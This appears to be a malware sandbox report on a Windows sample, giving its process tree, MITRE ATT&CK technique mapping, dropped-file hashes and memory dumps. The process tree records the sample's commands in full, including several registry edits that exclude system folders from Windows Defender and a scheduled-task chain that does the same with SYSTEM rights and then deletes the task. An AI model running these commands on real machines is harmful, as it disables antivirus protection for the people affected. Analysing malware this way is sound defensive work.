    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1248
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2588
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3820
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1684

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\NEIINj" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3576
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\NEIINj" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3548

C:\Users\Public\NEIINj\VB7qfM.exe
"C:\Users\Public\NEIINj\VB7qfM.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3032

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2624

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1868
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3836

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:924
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:216

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:468
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2912

C:\Program Files (x86)\jnxr6q\jnxr6q.exe
"C:\Program Files (x86)\jnxr6q\jnxr6q.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3000

C:\Program Files (x86)\6Hp1527y\IGGpP4r.exe
"C:\Program Files (x86)\6Hp1527y\IGGpP4r.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1316

C:\Program Files (x86)\jnxr6q\jnxr6q.exe
"C:\Program Files (x86)\jnxr6q\jnxr6q.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4860

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\jnxr6q" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:552
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\jnxr6q" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2480

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2752
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3504

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:624
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2980

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1508
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:556

C:\ProgramData\ArcvAsZv.exe
C:\ProgramData\ArcvAsZv.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4144

C:\ProgramData\XUqSXKPS\KLU7W7yC.exe
C:\ProgramData\XUqSXKPS\KLU7W7yC.exe
1⤵
- UAC bypass
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- System policy modification
PID:4776

C:\ProgramData\XbK9X5r9\5Lb7W7JT.exe
C:\ProgramData\XbK9X5r9\5Lb7W7JT.exe 1776
1⤵
- Executes dropped EXE
PID:2964

C:\Program Files (x86)\6Hp1527y\IGGpP4r.exe
"C:\Program Files (x86)\6Hp1527y\IGGpP4r.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3148

C:\Program Files (x86)\jnxr6q\jnxr6q.exe
"C:\Program Files (x86)\jnxr6q\jnxr6q.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1784

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\6Hp1527y\XPSPLOG.dll
Size 4.6MB
SHA256 ed80bff9727734bd8856e234e9974a1176f490c90706030e7090e28eed842d24
MD5 f1bfbfdf104a140b35d2085f5e1d6e4a
SHA1 743eb8a0fd739afd8a8ebba90a8061218f626418
SHA512 89f48a1578ef32e99188b17ab36b75012583d02e0358ae0944883de0c6a9105bdbb0c5a844b8a068de047db865eda9f2bf0db9770d4b89a9e5c644f820b45b6d
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyw:BMWKfU+BcUTHCCCfqCiUffnw
TLSH
T1CC263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\6Hp1527y\image.png
Size 5.0MB
SHA256 abdc74d85903404fc84a0410d932ec9cf6d0679f7ad927d44887554bac7e831c
MD5 eacf875db72ab2fd668b3b21bf17ee2c
SHA1 c6232d4fca27e9ec69c9fcd1ab9ca4bf4aca6db1
SHA512 e19f9e1c3f4e5d454b62a99b5a2361cda248fbc37b4bc6b67c236b58c1ce6713bcce1d09abe31cbdc85c53d7af1f3c5fb638e1e2b2cb74295013f23d237864f5
SSDEEP 98304:vFYrZdgzrNWII7jT4piZg5mNmtgJ+N2T4+C0l7ETp1qM/a6kX6aVmtK:URIUjDgAk+jkn/IXhVaK
TLSH
T1153633605F0EE7EA8F3B6FEAA22B74C974895BDDC99C44054D76DC6D4DB8240B4208EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\jnxr6q\XPSPLOG.dll
Size 4.6MB
SHA256 62af2e6dbe2ccd4fa3664d3b47d327c4c954ec743bf4a20b7399aeeee8ce597d
MD5 a53d7c64981b27a71502901622654b97
SHA1 a1c31c69cf7bf1ed1995623d495d290de791ec3a
SHA512 d44dbc76ef77fd9ffd1b412cc035ed90d7a7ef9b27d7b78b7841f59712814053c80b1757523da4f01f727693834e4f85ab01684c1251c583688006cd7ae077b3
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyu:BMWKfU+BcUTHCCCfqCiUffnu
TLSH
T134263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\jnxr6q\image.png
Size 5.0MB
SHA256 6ddf02565a63632492715954602b709da22a55ee47057afbbee5eb505c99d211
MD5 3127463b0dae4f997a1ced14d53eca78
SHA1 9ed8f82c4257e482e6581ac636b70a23da349ee4
SHA512 bb39b096b88f63959363d491139f6f6bec800abcbb73b0c27ebcfac8fbd10201eb458f97fb8e311c5b8ea366a31ae30ad3eb41146c7d7d576abdd884edbcf5a8
SSDEEP 98304:VFYrZdgzrNWII7jT4piZg5mNmtgJ+N2T4+C0l7ETp1qM/a6kX6aVmtK:yRIUjDgAk+jkn/IXhVaK
TLSH
T1BB3633605F0EE7EA8F3B6FEAA22B74C974895BDDC99C44054D76DC6D4DB8240B4208EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jnxr6q.exe

Path C:\Program Files (x86)\jnxr6q\jnxr6q.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\jnxr6q\thumbs.db
Size 358KB
SHA256 3d5e1f1b356512c4105bacd300acccb7360be52d1d17fca0dda0990c22683f6b
MD5 eae03886e31cb6acc4bad72893e1163f
SHA1 7bf96430fee9b4137c2b97c427ff3b912bf9bde4
SHA512 23c6781926c006b641cc7dc39dea8902f3a9a91e9fbaaa3e68a0618eab3d43d528318d70000c3480aa417cee48be9c6dcc02f33ba7ab71700f1dfd6af661c9eb
SSDEEP 6144:biACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:e8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T19774F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ArcvAsZv.exe

Path C:\ProgramData\ArcvAsZv.exe
Size 2.8MB
SHA256 12fc2180163bab06ab0ea8cd6c6765f39d6b0fb4930316ad591aaceda158b4b0
MD5 9a90eda65b3c09fbb1cf54f597c236fe
SHA1 ce052786afc275e754ac0f27b61a9557e2aed09c
SHA512 c6c9a9ea80319113c07e9e55aab7eeab687f4bb3bc1ba52301c369f31f54c272a846699f88389a35a7d1de8f7b890144537b0b2fa67c5eb45c8e547083f1a000
SSDEEP 49152:ZMxc9EYuffdhu5OviynjUzXPIGEvVcV0Sxx/O/ndIC4nv4ajQQVWmDfvKEs+Tp2:igu9hviynj8Ip+nxVEenv4iQQVkEw
TLSH
T123D523B49ECB11EADEC10974A703DBE73AB5199248D68C347AC13805B173FB7216E52B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

KLU7W7yC.dat

Path C:\ProgramData\XUqSXKPS\KLU7W7yC.dat
Size 56KB
SHA256 08f219db6cedaeb8a8cce207fdd0eba9d8c01e11108861c4828057cf5e712560
MD5 d21e5d9e0ca9740afed37cf5fb0ddda4
SHA1 70a8b24e282a6f7a27f4df6dfdb137826dd14c83
SHA512 12d3e5597e88ca7dc9c2682f3a768d316321b359c69ec957211fea38413d744942a7e0fff2c7358bfa9f049b0372e70547dc40d3e55fa1266e6e6b455052df9d
SSDEEP 1536:LA5UOqaSzVJk7yHWGLvQL2NjQhzehEZSVsKJY1:LsUL1PSkbvG2pkze2GY1
TLSH
T19A43020AD5F17B3ACA061776CD5CA50150EF4AFD88235CB38590F2764EE308F9D1B619
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

KLU7W7yC.exe

Path C:\ProgramData\XUqSXKPS\KLU7W7yC.exe
Size 475KB
SHA256 4be810f3079be28896d8f896bbb5538a8f43b09a1dc6f07a6a2f3e56a3547156
MD5 b24402b06b61fc0717054c97155302d0
SHA1 51d6981e0d79e0d646918d284a67bbce5911af54
SHA512 27f5377546946265b1eb10080e2a91582482ab77cdee1ef3fadb570bedc1ad5e35a1f2c9ecad7a97c4151670de5397bf2657506ec6721b27994b18b3dded4ba3
SSDEEP 12288:gNrhTLpMP+R+QDCfA832AtBYmz6af0F7Z1QVjSOsJ/h:gthTiP+ffCfB5Lf0F7Z1EDsVh
TLSH
T1A6A42322B76BD826EB0E083542A5DF7D497ABD02F889834301B97F5F7D363905D1DA09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

KLU7W7yC.png

Path C:\ProgramData\XUqSXKPS\KLU7W7yC.png
Size 167KB
SHA256 534a7c9d753bed8eb8e4e4d3bd78ae075ee703ea98cd3f88df1ee27cf4ad25a6
MD5 d81a9989b03c5add67f928af233650cd
SHA1 ad676cae3925805c25308b599a706af1d2517cdc
SHA512 f218ccc8185ad04fef365a9f2ff3332dcac84078ca55b7a5773bfb0576c92bf0947a6df62e998ca693410ffe2775908556ca3020f7a81a1c3755d6fcf922140e
SSDEEP 3072:RxvH+eTJ02Y6X2jdKEKRoHUMaDQptDljwIjDdj7YoILts74x0BI+1pB:jH+KKo4dNK2d2kdXYon74mBV1X
TLSH
T1CDF3120CD00236B72EE84895B2AB3D5494DCC4A51E22974E790B3B9B5C933E949A7F4F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5Lb7W7JT.exe

Path C:\ProgramData\XbK9X5r9\5Lb7W7JT.exe
Size 663KB
SHA256 68197c3e6109908e68cf7aaba06d8377e9f59f83b984a59a5bbd7156547b11e0
MD5 d8e52ca75fe462c24d5223d5140711be
SHA1 dbae52f6c7a1f49417a13ef02d8032b99988400e
SHA512 f9e73f8f46ecbc70d5ed12edbadf311a9e7bd56ac718e79f9e59b6c3b161e85d4ed0d2c825ff457fe1dcbb661344351391c649078c6518dc757cf710b32178dd
SSDEEP 12288:hHDFGZnF/eud8ic+Y3ngyujLF/nWRZ8iR4+y3dnpkoBLR0eo2/k5bx9LhlOFqgbe:hpYF/e5icRQjV3pRR2Aoblld
TLSH
T1AEE423C99C65B095C0A009FABC118D2BE50E5174209EFA34C7629BAA7FF93F11EF650D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 1KB
SHA256 99419ec2fc0a80894cfc6a6cdb789962991dc8c6b5b1b1a3df4d267ff490effc
MD5 5c28e39e3c717366adbaec8c69679baa
SHA1 fd017821847bd13ac083924f446fb8714c491340
SHA512 a9226b25b6ba42dc0a22fd22a633d44771f3bb8187147f59d2477d4a64ac7bc5e975d9a0138f534858b913693ff4ab936b153117082cad32c8342fb23c63c138
TLSH
T15D21C64A4EB91780BF41EE1537C5CD367EA626C018AC044B5225E8E9160077C7F4640A
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 1KB
SHA256 537794188ddec84ab43fe61e79d795488708ff7a580fa74466ee2f7f068a2bf1
MD5 571e89d217ad97f812add25fb64e73b3
SHA1 ed83aa6b1fa1a2fd045e862738de3bb1e6d4fb00
SHA512 9d60f250116178ee660042c47c13b65520f73daa841bdb158a17877a98d0aebf89f7517e730744b1a6353eed5b7eb9ac5db3b21e33fb6005d5919037bdd5262e
TLSH
T13E2186CF6B7A2462F751DD4909C86E372CE6B2E195EC1906B00FC2AA18053A2DD4E55B
MD5 SHA1 SHA512 TLSH

Submit Download

D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD
Size 1KB
SHA256 08d79de57ae61e5698226a22f2af435eba5ea94aa6f8718480294daa8049ac41
MD5 3fe1ba8e4f66ab22a57d3f760c3d80d3
SHA1 b4ccefb85260aa1a09a14422e54740f6c0f9bcc1
SHA512 f4332f3f7d690a06f1f18342399ce0029c2623ad8816a3a55de21325b54014f91ef8cc3c7c180c3c4264a98f23d1ad2c58b63ad4742bb8c90c0762b3925bf966
TLSH
T1D02174D7597928412B81DDDA0CD7DBB33D79F5D7999875202036E0AC9D043E3AE0C5CA
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 508B
SHA256 565a98fd37c9fe0f4ebc6524b2f4cf0f3305daf3888473bf238876181fb07256
MD5 6d31a896d368d0657e9344ebb34e6357
SHA1 6745003ca667d6a88c3edf0f368c5d3d0e82ac7b
SHA512 9045d8325002d387933fcd0ed34a712a0540aaef4062374eeee75a78f28e00d5f06b4a250ef1e98140b1be299b7145d7f320361346b1691cd7da658a35d406b1
TLSH
T13BF05C3C447F012FF171CA3D5BC929960677E7052005067126E48B0DA60AE432C51539
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 510B
SHA256 674586d6e83205923e695fc42963a20d7a923e218ba8bc06bd67abc3b52a8755
MD5 676bb3538d0cf61a4821025cd33b3a42
SHA1 5ca77a5245009766ba6ff0d55192ead138bd10bc
SHA512 d1848932847cc6831f551a2396db374db25e0cae9a127094606b917a73b197057bda2620b1ef0c27e51d5d336b3af4e69d1f71257e8d0bcdb31d4443858daa40
TLSH
T188F05C2868E45109F237CA7822F527F1529BB913B4001AFF09994358DB14F002D8527E
MD5 SHA1 SHA512 TLSH

Submit Download

D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD
Size 540B
SHA256 2c4ccbe786efba9e95aedd6bce1e526a5346c0184815e22a28ef7622c6684b85
MD5 a08d1bc8a2aa23977eae8c27adf7aa71
SHA1 3d50e7c359a65e87177a998c4670475d0d770a58
SHA512 47320a310f05a89a287366ccb56a08d444d28b2c68e3b0e9fb9ed34e9cb9395524f065076a1ab0b90bddcf57bf2f74704dd63528ac76ca06930b585397f28083
TLSH
T141F09E0C647B405EF0B3CD3816C962764D6AF5047901899A0AF2430C7E58E406DD273A
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_2et5h31h.13t.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2et5h31h.13t.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

UxEnhance64.dll

Path C:\Users\Public\NEIINj\UxEnhance64.dll
Size 3.1MB
SHA256 67f721da60ee187f753082cc8b52bedbaa9811a9c7d08cf59dc42c3601637f39
MD5 da4dbf8af2c81420f87d03e3679a11f6
SHA1 bd406a2eaa85bb6d8a5d46111c2e22ee1398cbb4
SHA512 209a4d788ae7069f3597039213a35121fe1957a3beeb1f0bddca18cefa79ae6036b683a42fdf78d1c7c8843be329a180136f6c47a587737492620aec3112c5c2
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB++:P9m29xx3Tiqt06ox6+z2rNNrKo+
TLSH
T19EE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VB7qfM.exe

Path C:\Users\Public\NEIINj\VB7qfM.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\NEIINj\adoresd.dat
Size 4.7MB
SHA256 b8daf59f9b2acd73c32ae8762ceb1386269a69236ff24eda2d944d3f1d352077
MD5 39fa28bdb0ecc78a1d99f75b9fc9c4e5
SHA1 fa0cb990d6ab19cb5a21610a7861893f23eadfcf
SHA512 6d6477fc3462924c4a357e0b5db7d4a1446cd936f6a5a614a38c0b93412030ebcc4e20f7a6f39bfcac630120fc103dfd23c3c6cb672403d17f9c26bfcd22eb43
SSDEEP 98304:fKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:fKClqhi0Cv54K2IVS0VQg
TLSH
T19B3633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\NEIINj\msadox.tb
Size 8KB
SHA256 06ee129634a7693a9c2c1762185f726ca3e701496ea4026f19aa33af0f63ca81
MD5 a827170abe2db4eb602b1dfe1c602b98
SHA1 fb5023729b735156395b996dc490b8f087f52210
SHA512 1b9ade7278decc5b73dce0640b2e5a4cb8b3bd451242f748898514227aea4720c2f12b5e718c1300b86b556cc877d5eb6c99b386e45cdfd5ea6e8080de8ca3b3
SSDEEP 192:FqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:FsZqZOXQ3uqvR2Kfzp
TLSH
T1ED029E05D7A20CC3D2116C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/1316-750-0x00000000030B0000-0x00000000038B3000-memory.dmp

Download

memory/1316-741-0x00000000030B0000-0x00000000038B3000-memory.dmp

Download

memory/1316-732-0x00000000738E0000-0x000000007402A000-memory.dmp

Download

memory/1316-753-0x0000000000770000-0x0000000000771000-memory.dmp

Download

memory/1316-749-0x0000000000790000-0x0000000000791000-memory.dmp

Download

memory/1316-731-0x0000000000770000-0x0000000000771000-memory.dmp

Download

memory/2912-789-0x0000000005B70000-0x0000000005BD6000-memory.dmp

Download

memory/2912-809-0x000000006F350000-0x000000006F39C000-memory.dmp

Download

memory/2912-785-0x0000000004C40000-0x0000000004C76000-memory.dmp

Download

memory/2912-786-0x00000000053E0000-0x0000000005A08000-memory.dmp

Download

memory/2912-787-0x0000000005200000-0x0000000005222000-memory.dmp

Download

memory/2912-788-0x0000000005A10000-0x0000000005A76000-memory.dmp

Download

memory/2912-795-0x0000000005BE0000-0x0000000005F34000-memory.dmp

Download

memory/2912-803-0x0000000006270000-0x00000000062BC000-memory.dmp

Download

memory/2912-802-0x0000000004F30000-0x0000000004F4E000-memory.dmp

Download

memory/2912-808-0x00000000073B0000-0x00000000073E2000-memory.dmp

Download

memory/2912-817-0x00000000067A0000-0x00000000067BE000-memory.dmp

Download

memory/2912-818-0x00000000073F0000-0x0000000007493000-memory.dmp

Download

memory/2912-819-0x0000000007B40000-0x00000000081BA000-memory.dmp

Download

memory/2912-824-0x00000000076F0000-0x0000000007701000-memory.dmp

Download

memory/2912-822-0x0000000007770000-0x0000000007806000-memory.dmp

Download

memory/2912-820-0x00000000074F0000-0x000000000750A000-memory.dmp

Download

memory/2912-821-0x0000000007560000-0x000000000756A000-memory.dmp

Download

memory/2964-896-0x00007FF7867F0000-0x00007FF786C1F000-memory.dmp

Download

memory/2964-864-0x00007FF7867F0000-0x00007FF786C1F000-memory.dmp

Download

memory/2964-866-0x00000231C0C00000-0x00000231C0C20000-memory.dmp

Download

memory/3000-744-0x0000000002F70000-0x0000000003773000-memory.dmp

Download

memory/3000-747-0x0000000000680000-0x0000000000681000-memory.dmp

Download

memory/3000-725-0x0000000002F70000-0x0000000003773000-memory.dmp

Download

memory/3000-722-0x00000000753F0000-0x0000000075B3A000-memory.dmp

Download

memory/3000-721-0x0000000000680000-0x0000000000681000-memory.dmp

Download

memory/3000-743-0x00000000008F0000-0x00000000008F1000-memory.dmp

Download

memory/3032-583-0x0000021E8AEB0000-0x0000021E8B737000-memory.dmp

Download

memory/3032-587-0x0000021E8AEB0000-0x0000021E8B737000-memory.dmp

Download

